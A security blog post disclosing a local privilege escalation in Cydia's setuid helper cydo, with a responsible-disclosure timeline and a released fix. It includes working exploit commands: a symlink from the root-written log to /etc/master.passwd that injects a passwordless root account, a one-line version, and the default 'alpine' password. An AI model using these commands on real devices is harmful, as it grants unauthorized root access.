pythech's Blog

Not a hacker blog

Cydo Local Privilege Escalation

Last month I discovered an LPE on cydo which is a suid wrapper for Cydia that grants root privileges when necessary. Cydia was criticized for running as root by some for a long time, and finally Jay Freeman (the creator of Cydia) reduced its privileges to mobile. Sweet! The most obvious change was the ability to tweak Cydia itself, such as theming and fixing some annoyances with tweaks like Pheromone.

cydo is like sudo except it only gives permissions when it’s launched by Cydia.app. It does this by checking launchd parameters, comparing the originating program path with /Applications/Cydia.app/Cydia. Since very often Cydia needs root permissions to install packages, cydo is mainly used as a dpkg wrapper.

The flaw in the code is obvious, it’ll take a few minutes for experienced security enthusiasts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
/* Cydia - iPhone UIKit Front-End for Debian APT
 * Copyright (C) 2008-2015  Jay Freeman (saurik)
*/

/* GNU General Public License, Version 3 */
/*
 * Cydia is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published
 * by the Free Software Foundation, either version 3 of the License,
 * or (at your option) any later version.
 *
 * Cydia is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Cydia.  If not, see <http://www.gnu.org/licenses/>.
**/

#include <cstdio>
#include <cstdlib>

#include <errno.h>
#include <sysexits.h>
#include <unistd.h>

#include <launch.h>

#include <Menes/Function.h>

typedef Function<void, const char *, launch_data_t> LaunchDataIterator;

void launch_data_dict_iterate(launch_data_t data, LaunchDataIterator code) {
    launch_data_dict_iterate(data, [](launch_data_t value, const char *name, void *baton) {
        (*static_cast<LaunchDataIterator *>(baton))(name, value);
    }, &code);
}

int main(int argc, char *argv[]) {
    auto log(fopen("/tmp/cydia.log", "a+"));
    fprintf(log, "cydo:");
    for (int arg(1); arg < argc; ++arg)
        fprintf(log, " %s", argv[arg]);
    fprintf(log, "\n");

    auto request(launch_data_new_string(LAUNCH_KEY_GETJOBS));
    auto response(launch_msg(request));
    launch_data_free(request);

    _assert(response != NULL);
    _assert(launch_data_get_type(response) == LAUNCH_DATA_DICTIONARY);

    auto parent(getppid());

    auto cydia(false);

    launch_data_dict_iterate(response, [=, &cydia](const char *name, launch_data_t value) {
        if (launch_data_get_type(response) != LAUNCH_DATA_DICTIONARY)
            return;

        auto integer(launch_data_dict_lookup(value, LAUNCH_JOBKEY_PID));
        if (integer == NULL || launch_data_get_type(integer) != LAUNCH_DATA_INTEGER)
            return;

        auto pid(launch_data_get_integer(integer));
        if (pid != parent)
            return;

        auto variables(launch_data_dict_lookup(value, LAUNCH_JOBKEY_ENVIRONMENTVARIABLES));
        if (variables != NULL && launch_data_get_type(variables) == LAUNCH_DATA_DICTIONARY) {
            auto dyld(false);

            launch_data_dict_iterate(variables, [&dyld](const char *name, launch_data_t value) {
                if (strncmp(name, "DYLD_", 5) == 0)
                    dyld = true;
            });

            if (dyld)
                return;
        }

        auto string(launch_data_dict_lookup(value, LAUNCH_JOBKEY_PROGRAM));
        if (string == NULL || launch_data_get_type(string) != LAUNCH_DATA_STRING) {
            auto array(launch_data_dict_lookup(value, LAUNCH_JOBKEY_PROGRAMARGUMENTS));
            if (array == NULL || launch_data_get_type(array) != LAUNCH_DATA_ARRAY)
                return;
            if (launch_data_array_get_count(array) == 0)
                return;

            string = launch_data_array_get_index(array, 0);
            if (string == NULL || launch_data_get_type(string) != LAUNCH_DATA_STRING)
                return;
        }

        auto program(launch_data_get_string(string));
        if (program == NULL)
            return;

        if (strcmp(program, "/Applications/Cydia.app/Cydia") == 0)
            cydia = true;
    });

    if (!cydia) {
        fprintf(stderr, "thou shalt not pass\n");
        return EX_NOPERM;
    }

    fflush(log);
    fclose(log);

    setuid(0);
    setgid(0);

    if (argc < 2 || argv[1][0] != '/')
        argv[0] = "/usr/bin/dpkg";
    else {
        --argc;
        ++argv;
    }

    execv(argv[0], argv);
    return EX_UNAVAILABLE;
}

For those feeling difficulity seeing the error, it’s fine. It’s the most unexpected piece of the code (or the most expected for security people). Take a look closer:

1
2
3
4
5
6
7
8
...
int main(int argc, char *argv[]) {
    auto log(fopen("/tmp/cydia.log", "a+"));
    fprintf(log, "cydo:");
    for (int arg(1); arg < argc; ++arg)
        fprintf(log, " %s", argv[arg]);
    fprintf(log, "\n");
...

Looks like the first thing cydo does is logging parameters, cool. BUT, remember, we are setuid binary owned by root. It’ll write files with root privileges!

Exploit

Before we begin, we have to ssh to the iDevice. While most jailbreakers are taught to change their root passwords, they don’t change their mobile passwords. The default password for mobile@idevice is alpine.

Assuming we gained access to the victim as mobile, let’s use this arbitrary write to escalate our privileges. The most obvious way to do is overwriting /etc/master.passwd, since XNU, the kernel of iOS, is based on BSD.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Hakans-iPhone:~ mobile$ ln -sf /etc/master.passwd /tmp/cydia.log
Hakans-iPhone:~ mobile$ /usr/libexec/cydia/cydo ":0:0::0:0:System Administrator:/var/root:/bin/sh"
thou shalt not pass
Hakans-iPhone:~ mobile$ su cydo
Hakans-iPhone:~ root# cat /etc/master.passwd
##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:REDACTED:0:0::0:0:System Administrator:/var/root:/bin/sh
mobile:REDACTED:501:501::0:0:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
_ftp:*:98:-2::0:0:FTP Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24::0:0:Network Services:/var/networkd:/usr/bin/false
_wireless:*:25:25::0:0:Wireless Services:/var/wireless:/usr/bin/false
_neagent:*:34:34::0:0:NEAgent:/var/empty:/usr/bin/false
_securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false
_distnote:*:241:241::0:0:Distributed Notifications:/var/empty:/usr/bin/false
_astris:*:245:245::0:0:Astris Services:/var/db/astris:/usr/bin/false
cydo: :0:0::0:0:System Administrator:/var/root:/bin/sh
Hakans-iPhone:~ root# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Hakans-iPhone:~ root# uname -a
Darwin Hakans-iPhone 14.0.0 Darwin Kernel Version 14.0.0: Wed Jun 24 00:50:03 PDT 2015; root:xnu-2784.30.7~30/RELEASE_ARM64_T7000 iPhone7,2 arm64 N61AP Darwin

The best part? It fits in a tweet! ln -sf /etc/master.passwd /tmp/cydia.log; /usr/libexec/cydia/cydo ":0:0::0:0:System Administrator:/var/root:/bin/sh"; su cydo

Report Timeline

  • 21.08.2015 - Initial disclosure was sent, developer said he’s going to remove the logging entirely.
  • 08.09.2015 - Requested status update, developer stated that he was distracted by fixing other things and he’ll work on Cydia imminently.
  • 14.10.2015 - Fix is released after iOS 9 became jailbroken (yay), if you dig enough, you can see the credits here.

Update

During this time saurik also asked me to check if I can find another vulnerability on Cydia, click here for a lot less interesting vulnerability if you are interested.